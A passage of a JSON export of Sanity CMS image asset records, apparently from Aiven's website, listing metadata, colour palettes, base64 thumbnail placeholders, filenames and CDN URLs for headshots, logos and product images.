EQMSIQYTFBUjMTNxsf/EABYBAQEBAAAAAAAAAAAAAAAAAAQBBf/EABsRAAIDAQEBAAAAAAAAAAAAAAECAAMEBTER/9oADAMBAAIRAxEAPwCFRZmkqKph6LEDBY5yaYWy3vcpHaX0w3IOPalgY+GQcY+qofS6KYcRto3bDzW/ruajHZcnoEuGhb9VdTeEzFuetCRI4laJ2DHJoqc3Zj5lJ5PyH9oo687A4DNQpJiG625CVW0/BP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#703958","foreground":"#fff","population":2.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":10.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":10.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9397bd","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed683a","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696e92","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e84e0f","foreground":"#fff","population":8.47,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Meta_image_for_Aiven_for_AI_solution.jpg","path":"images/sczeoy4w/production/0a3d6ca54ab4ff371e561d8d76cb00e2160af84e-2500x1313.jpg","sha1hash":"0a3d6ca54ab4ff371e561d8d76cb00e2160af84e","size":438172,"uploadId":"WX7Hu9lmJiYSB2QQpP13JBcJtZsRPihv","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a3d6ca54ab4ff371e561d8d76cb00e2160af84e-2500x1313.jpg"} {"_createdAt":"2024-02-02T14:22:58Z","_id":"image-0a467293916c8ccf353f488aecc6b21061784f27-4368x2912-jpg","_rev":"H1slUvtNVEvBnmPPMPccuP","_type":"sanity.imageAsset","_updatedAt":"2024-02-02T14:22:58Z","assetId":"0a467293916c8ccf353f488aecc6b21061784f27","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VB7VD]t:04Rp:z%PktInVq$|8wRO-;s,ObIuad%1o#Io","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":2912,"width":4368},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYBAwX/xAAiEAACAgIBAwUAAAAAAAAAAAABAgMEABEFBiExEhMjUWH/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAAT/xAAcEQABBAMBAAAAAAAAAAAAAAABAAIDIQRBkRH/2gAMAwEAAhEDEQA/AEjpLiY79SwQ6IyxlgzeBk9VdOVm4Gpf4/TEr8pD+rv94k1uVsw6gRyInGmAPnNalZlicojt7bIQU328Y5NkB2WwaFdQ8cRjgcdm+JWki05GGW2G3Mx/cM1kWoE+L//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334653","foreground":"#fff","population":0.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044287","foreground":"#fff","population":8.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f83ce","foreground":"#fff","population":9.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7a28d","foreground":"#000","population":4.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87b3f3","foreground":"#000","population":2.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c6499","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f83ce","foreground":"#fff","population":9.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Max Saltonstall headshot.jpg","path":"images/sczeoy4w/production/0a467293916c8ccf353f488aecc6b21061784f27-4368x2912.jpg","sha1hash":"0a467293916c8ccf353f488aecc6b21061784f27","size":3304927,"uploadId":"6uAPUSs8BuStzodgHxtpHfLluUP2RRih","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a467293916c8ccf353f488aecc6b21061784f27-4368x2912.jpg"} {"_createdAt":"2024-06-14T08:28:01Z","_id":"image-0f2a005338066d3b062c4fc2cea064539e0f5940-1200x630-jpg","_rev":"V7hUJb5ScZMSQ02ZsHq2bv","_type":"sanity.imageAsset","_updatedAt":"2024-06-14T08:28:01Z","assetId":"0f2a005338066d3b062c4fc2cea064539e0f5940","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHQcrC?FITN3~o?ZNGR*ozxu_19Gt7%KIV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMECP/EACMQAAIBBAEDBQAAAAAAAAAAAAECAwAEBRESBhQhIzFBUZH/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAaEQEAAwADAAAAAAAAAAAAAAABAAIRAxJR/9oADAMBAAIRAxEAPwDQbW+QbIM5utWxbfEN5ApfV2aucdZRdoQrudcyN6qmEDunPn9p8kEU68Zo1kX6YbrXj6iNjZNvCR9M5i5v8Uk1ynqcipIGgdfNFWoixKEjUKo9gBoUUsC6ECz/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434c60","foreground":"#fff","population":1.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2478","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#434c60","foreground":"#fff","population":1.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8a0a6","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d098","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c66a8","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c49","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Valkey_product_page_meta_preview.jpg","path":"images/sczeoy4w/production/0f2a005338066d3b062c4fc2cea064539e0f5940-1200x630.jpg","sha1hash":"0f2a005338066d3b062c4fc2cea064539e0f5940","size":73245,"uploadId":"FvxZCqga5s34MuRiSRLK6gILowcDXL9h","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f2a005338066d3b062c4fc2cea064539e0f5940-1200x630.jpg"} {"_createdAt":"2022-08-15T15:40:16Z","_id":"image-0f2e772df390ddcf99166e82de67909793dc48a6-48x48-svg","_rev":"AItYcVmwODXGfe9M0C0a1m","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:40:16Z","assetId":"0f2e772df390ddcf99166e82de67909793dc48a6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD70lEQVQ4jVVVW28bVRDePDQ/oP0R7Vv7F8LPAKlcBCrl9sADolJbCRIJibTiAUoSIFUpbROTOEZNSkRUIwcqJzQtctzayeaG79i79u7ae/Fezs6g79RpwsMnjc588+2cmTmzSiq1rNRqDYWZlXy+OKSqe6dKpeorjUZzTNc7v5um1bCsXgDAxlmj0RwFB9zNzeIQYqvVhpJMPlCk2N27SaVQUIdLpeqZVkt/z7K6Sdf11CAIzCiKgliIGICNM/jAabX0i6VS9XShsD08Pp6SojIziJXLtXO63hlzHHczDEM3jmNmIg4Fcc+LJWDjDD5wwNX1zlilUjsHUWjJayIzOFzX2xVCCGYpRHpP0NN/fEptOLSw4dCTA5+0riD4IAyu63o7iEWm0FJUdf8UromvgRBGJIMQfOeRTVfnDfrgli5xZc6g23/2aGPfpxaEIyLEIBbXV9W9kwqKi3rgCmFEvNsMaXbNpivzBr85pdHrkxp9MtNh4PyERm9MaXR5zuCZrE3ghhHJ60OjVKqMKOgmikwUs+nElHzs0Md32nxhWmbFY78YnFizeXbN5tGUwe/f0qUPHHBNJybEQgPdVzAG6BxqUm5H9NWyRe/8oNEX903+ed3mxb9dTj/3+OFzj+8/dTixbjN84IBbbkeynn4QmLreSSuYLTkaMXG+EtDluQ6dn9TomxWL/9ju8+qWx5kBVgf4+jeLwQE3XwkIsdAwTauuYGCFELEfEYLowx/b9NZ3Gk+lu7ySdzm70+dCLZDI7vZ5Je9JHzjgZrY8Qiw0LKvnS0EMLeYMNXn3pi6bkNpwZDZ/7fV5599QAvbqVl/6wAE3+dghxMaHgoZhNUQUBYYT872sLQUvJTrotKwb6vfkwJc4rCWaBA6497I2GsNSw7DqsikhnpMfc6bo0aezHTkqlxIdjIbMKFP0JJDxzAsxBgfczJZHbhBzcNgUtBotFyLmpiUosW7ThWmdX7vRoi+XTF7edGWnAdjjS6b0gZNYswkxQsT0cmyOD7aIiQ+0kCbTXXr7e40/ut2mzxYMZMLA5wsG4Qy+iYdd2m+FhJijwa6OKFhBeDaHTy+IiHLlgK7/atHFmzrhtbx6oyUBG3W7/sCiXNmn4Ojp5V4+vVxOLofTg+WwIwn9mLEU8JaRybcDwP7pkS3fud2PMSrR8eXw7FlxaLC+tocrldrZwfrKBWHoer7gti24ZQludQewXpx5vqAgkOsrh5hyuXa2UFBPyPWFpXjt2qIUxVeQOurheZ4ahoEpxNGChY0z+P6/YNUTExPTclkr8/NLUvTYL+AkiltvNEc1vZPGbGFgAdg4q9fxC6iMgIuYo1/AovIf6PtA0lyxcn8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c34","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0404","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#478be7","foreground":"#fff","population":6.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0bead","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90cffa","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6786b7","foreground":"#fff","population":1.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#478be7","foreground":"#fff","population":6.99,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aiven-operator-for-kubernetes.svg","path":"images/sczeoy4w/production/0f2e772df390ddcf99166e82de67909793dc48a6-48x48.svg","sha1hash":"0f2e772df390ddcf99166e82de67909793dc48a6","size":7895,"uploadId":"43XZrnRtlm76O2xXytUKfWSFnGx26iAg","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f2e772df390ddcf99166e82de67909793dc48a6-48x48.svg"} {"_createdAt":"2023-11-07T15:28:40Z","_id":"image-0a48d19ea8567d417d47a1ba80065bd1260db957-1201x629-svg","_rev":"cHZXkXbYDZzJZByADl1RLh","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T15:28:40Z","assetId":"0a48d19ea8567d417d47a1ba80065bd1260db957","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN7a=cfQ=cfQ_Yjaf7jafQbafQf7f7fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9093799682034975,"height":629,"width":1201},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABX0lEQVQokXWR/U4CMRDE7wGk3fbQ1/Pk61BEEDGKwTvlsa03Y7aLgBr/mMzub2aTJi1YScdKwCth9srD9mBeCXAlQOUB62Ud5krAS3e4KziUjkMBB0IOPHTGOIKjCA5D3jNXjQI4joD6rwwj5REF69BxWoLTSNYBrIWc7KVsWprXwaS8PskmQo49OTEVnIUOswDeluS8D+p87cEbsXkWwXmpubEbv+d6E4/9a5e94CJ0vBNw7nlw1SKY5qLcZB1yEcm70ywcOgVX0nEl4L0jlw5c9tTJe0+uArkS2zP/zsQy7Xz31Jc9Fly7Do8eWLssrnvgQ8/80ZsyP83cP9kZCj47YCPgSyA3nnx2R+meufzkOZO/2ZO+8FU6NiXYluBr2EvArbdZeROBkwyaKWtLoInHu61+SuM+0PrEVj75VibszhPf+7onNpkntiHhvZ+wu0jayXyf4S0m7s7trg3pC2v+8YJTdZarAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#904508","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab520a","foreground":"#fff","population":0.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":9.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964802","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8c28","foreground":"#000","population":8.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":9.03,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-gift-wrap-orange.svg","path":"images/sczeoy4w/production/0a48d19ea8567d417d47a1ba80065bd1260db957-1201x629.svg","sha1hash":"0a48d19ea8567d417d47a1ba80065bd1260db957","size":24752,"uploadId":"i6OsAHLR2wP25vWJuBkt0GJNsN7a1XAH","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a48d19ea8567d417d47a1ba80065bd1260db957-1201x629.svg"} {"_createdAt":"2022-06-30T19:55:57Z","_id":"image-0a78f91570f3f0c7f6c53b735be18c94292e8d0d-1600x471-png","_rev":"lf1jOsEAA7PAFZMZhZoWgK","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:37Z","assetId":"0a78f91570f3f0c7f6c53b735be18c94292e8d0d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DUR+O4{MTxK%*x#rmlW?ngj?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcRAAAXEQHKJvM/AAABsklEQVQYlSXMTUiTAQDH4ZfOQXSMLkofCNEiCMKgSyJUltsqTfbhNre0afNjik7tQy23adQQpqWUSBQUJdFBTCsSeWNTqdGEIPCwiiASootUpv9fhKfn9hgcdUs2v7AHwB7Y0BYAqw9KzqCSImQ/iCr2IG8+v4IFfI4cIzPSwYI5STqbU2oqxdLNav2JbJEhq19yNwhPE1Q2Cm8YfGHwhMDpQS47eIuQ18KqfxfLDcW8v9KKOXKL1PQM85lvmpvN8XGoXyvteTJ0wiscIVHZuBH+j931UOEHx1lUZYWaI6wHLPw4V8iH5ibSvbeZH7zD4uMnZF+aevfoDUt9Ua2075aBIwSd/RAbFNEkxIegMw4uH5QWo7JD4Lbw11fA18Ap0uEkr66OYg7Eyd7r5u1YjLmuPn1q8bAa2Y7BhYvi7kPx9DkanxTPpmH0PtSeh9LD6PQ+cO1grSqP5ZrjLDbHeN07zMTAdaaSESZ6avUi6CBXd0BrbZtlUB4ULddEdwJ1JURPAtougbMMbIWofC948lH1Nn7X7eRnx0m+DEfJjD/AHLvBzGWnFoL7+V6/Veutm/QPHRtOoL41rrYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#683039","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#994855","foreground":"#fff","population":1.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":9.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f5edee","foreground":"#000","population":9.47,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":9.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#454581","foreground":"#fff","population":4.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7207","foreground":"#fff","population":9.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0a78f91570f3f0c7f6c53b735be18c94292e8d0d-1600x471.png","path":"images/sczeoy4w/production/0a78f91570f3f0c7f6c53b735be18c94292e8d0d-1600x471.png","sha1hash":"0a78f91570f3f0c7f6c53b735be18c94292e8d0d","size":140223,"uploadId":"1vu9RzcSJUAj36b24LHH8uM8WcGN33hE","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a78f91570f3f0c7f6c53b735be18c94292e8d0d-1600x471.png"} {"_createdAt":"2024-03-13T11:11:47Z","_id":"image-0ab1c19000c29dbd099af2933c79967b1a32967b-1080x1080-png","_rev":"rAWuI3yYduKRvZqckJqugS","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T11:11:47Z","assetId":"0ab1c19000c29dbd099af2933c79967b1a32967b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e009tDkZZxZ_f.kZfme+e,flZxaakvkve+Z_e+kukae,kvkFaEaGf-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1080,"width":1080},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABi0lEQVQ4je2Rv2sTcRiHn+9dE81dcpdr7k6KSJKmSUEEI0hoWsnPCy5ixFCi6OBgHMRJFwkuCk6CgWCFBKStS+uiQ8FB/wt3NSAOgv/DSRI9EsoFC27mgQ8v7/A+8PKBOf+caOsr+jC3x9PbWwOircHRZHpmC/XOJ7QHP9HObqOt76Hke8jJm2CWEHYNYTtesKownLOESzTAddHO9InkdgnlusiJ62CWPeFIMin1Q8+8RG99Qb/3A71wIOkXPwTD1f2gnLq1QKwgC7smY1VlbEeakvqhpbsEHn/mePsbkXOvlHD+dSK09iIhJ2+YmEVD2LVFYTuGsB0Fy5G81/2IrHTAjcOTd6inn4eVbGflWPZpSopfszBLIyF/hPbfCFPPcL+7cEEjtPxIDqYfKoHV+yHp1GYAs/z7ZWcYTyZmCaOrfVTqBAHj/FuMykfUws6hUiZbFtZMYY9IrE2YBkb2DdHie5SNHlK86QmnG3bG8SNw8i4YJVisIE40wboK1hUwL4N5Cay6//Gc/4hfrKNTkTgy/eMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":98.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1b5a","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":98.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#183880","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fabe9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#183880","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#285dd2","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (11).png","path":"images/sczeoy4w/production/0ab1c19000c29dbd099af2933c79967b1a32967b-1080x1080.png","sha1hash":"0ab1c19000c29dbd099af2933c79967b1a32967b","size":12591,"uploadId":"YA16VHaUfUSWfV0laM6weTbJpletnx1G","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ab1c19000c29dbd099af2933c79967b1a32967b-1080x1080.png"} {"_createdAt":"2022-09-24T10:31:16Z","_id":"image-0af0badf9cad359ba833771e1499bf6e0a000a9f-1221x261-png","_rev":"NtJpmdKTpdEgU65ZHD8D4s","_type":"sanity.imageAsset","_updatedAt":"2022-09-24T10:31:16Z","assetId":"0af0badf9cad359ba833771e1499bf6e0a000a9f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D81~s2kDf-g5adk]fle,f4kE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.67816091954023,"height":261,"width":1221},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABTDAAAUwwEVcE1CAAAAsElEQVQYlS2Qy0oCYBCFfYTzDoFP4TZSXAhKlBslFfOTqKyNmPcQpIUPc54wBs7ih5k5t5m/ITwVXgo/CreFx8IT4WHmH+l7wi3hh3BLNxIeCM/T3zeEd8I/wp/C7wFfhS/CN+GD8En4KPydei88S2Dpf4M9l+GL8Fr4GmARw7+8EhZnI7wN75w5wquYVfCmDPvCXzGt7d5yZpnWaU3hO+GOcFf4KV9QnNqw9NVX4OofmZd+N9sjcBgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4454","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c74","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#096dc5","foreground":"#fff","population":1.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#065092","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80c0f9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#3d5564","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#096dc5","foreground":"#fff","population":1.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-sophos.png","path":"images/sczeoy4w/production/0af0badf9cad359ba833771e1499bf6e0a000a9f-1221x261.png","sha1hash":"0af0badf9cad359ba833771e1499bf6e0a000a9f","size":18046,"uploadId":"SyQZpOJHDqpWKrd6Ww75TfXEC5lBljQ6","url":"https://cdn.sanity.io/images/sczeoy4w/production/0af0badf9cad359ba833771e1499bf6e0a000a9f-1221x261.png"} {"_createdAt":"2023-03-30T17:02:23Z","_id":"image-0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839-png","_rev":"X76Ye1KO1uMYkz1EfOlaLH","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:23Z","assetId":"0b1d6b095faff79b2fc963b37eeda911f0d7eb35","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9427890345649583,"height":839,"width":1630},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABD0lEQVQokXWQSXIDMQhFdQy3BkCg0W633ZUTZJH7XymFerArQ9VbCZ4+YGKaU13q9VnaQtw9ZgfJBTnxkIAKcRtU5MZ1rY/Pun4ZLo9yXfv80W6rlDtJR2nE/YUo8YCkx3TjssR8N9LW3J+pLrk9OM8YK3IdHS82/x3kGiiZ1NfUFimzlHuU7kBcYI8pUP4PiCVQdiCG841SR9FlgPLk6eLw4mjyv4k2RAfsQGxgG6JBLg7ZghZsiFOgi8fh/2TydMiKysDZAk+BpkAWyIL6f8WOhhGwx3gyELMNfNRU3v2NN3MPUHMvqbzNMJ2/qv++yPhLhxqcj54M6an0eh7Foeg+yB7FU/IkL+IBbW16s28Hd0v19HqFBAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c61","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2c6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c6896","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#123d86","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cb1ef","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c6896","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e4cbc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-mirrormaker-replication-lag.png","path":"images/sczeoy4w/production/0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839.png","sha1hash":"0b1d6b095faff79b2fc963b37eeda911f0d7eb35","size":38504,"uploadId":"kZkyfemIHwm0tzEyNjgmtNw0YWGrCWDy","url":"https://cdn.sanity.io/images/sczeoy4w/production/0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839.png"} {"_createdAt":"2022-06-30T19:56:34Z","_id":"image-0b2f6af3b3c5a5467147502636ab1ac6b6a4e201-1343x1054-png","_rev":"QRl2cGoCgj0FlAhkRrhaS6","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:51Z","assetId":"0b2f6af3b3c5a5467147502636ab1ac6b6a4e201","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V15ONf_3IAD%D$ensm%LjYe.oJxas:n$oKxuxaoJn%V@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2741935483870968,"height":1054,"width":1343},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABz0lEQVQokYWRi47bIBBF8yN+YBjeDDBg16+kafv//1TZ2d1m02p7dYRA4miG4XJ1/RLkWPK+7/czt9ttnmdENP/LhXQfNQ/O5pQKUSGinEMIWikAACG+4MJZJ8VgtXbGOmOs1kZrLaXgA+t71nVfcOnaVitViaZax1IoJ8opIWoA1rV90zzTvfM4XrqmkYKjtwl9Cj56F4NDZzRw3rdD90Jz8rY/ZM56LUGBUCCcNTF49M5qpSX8AyWPFUDy4ZCBc++9c9ZZO9a6b/u6LIUoPiWdYAjHTWu9tVrKd9k5Zw95Gsfb9bquayF6CB9ERKO14FwMg+CcM/Zomxml9Al6Tykf94xWUn4CgDP2MbOuaS592wLn6H1CjCEkjDkd/ywBhpcwxrruk9w1jQLIMVHOlGn+tmzbPo5TCHi+4w9GW8FF37afZCkgxfTItu33n7/WdS+1UilUSqYDopJiUkr1T8UfsnjIEeOyrPf7j3Xdaq3lTaZS6jiOOWcl5WtlECIGRMQQwjzP32+3ZZ4LUa2ViGKKdO4REcRfbR8DCyGe9jRN+7ZNZx06gyFYY4zWCmBg7FUWnEfEnBOGMI7jMs9HwXi8JOfsnTt+qG37k+dp/wb5cpmF5VvU0QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#74443c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#733917","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0bec0","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0bec0","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deba81","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#784e46","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad6c3f","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0b2f6af3b3c5a54671475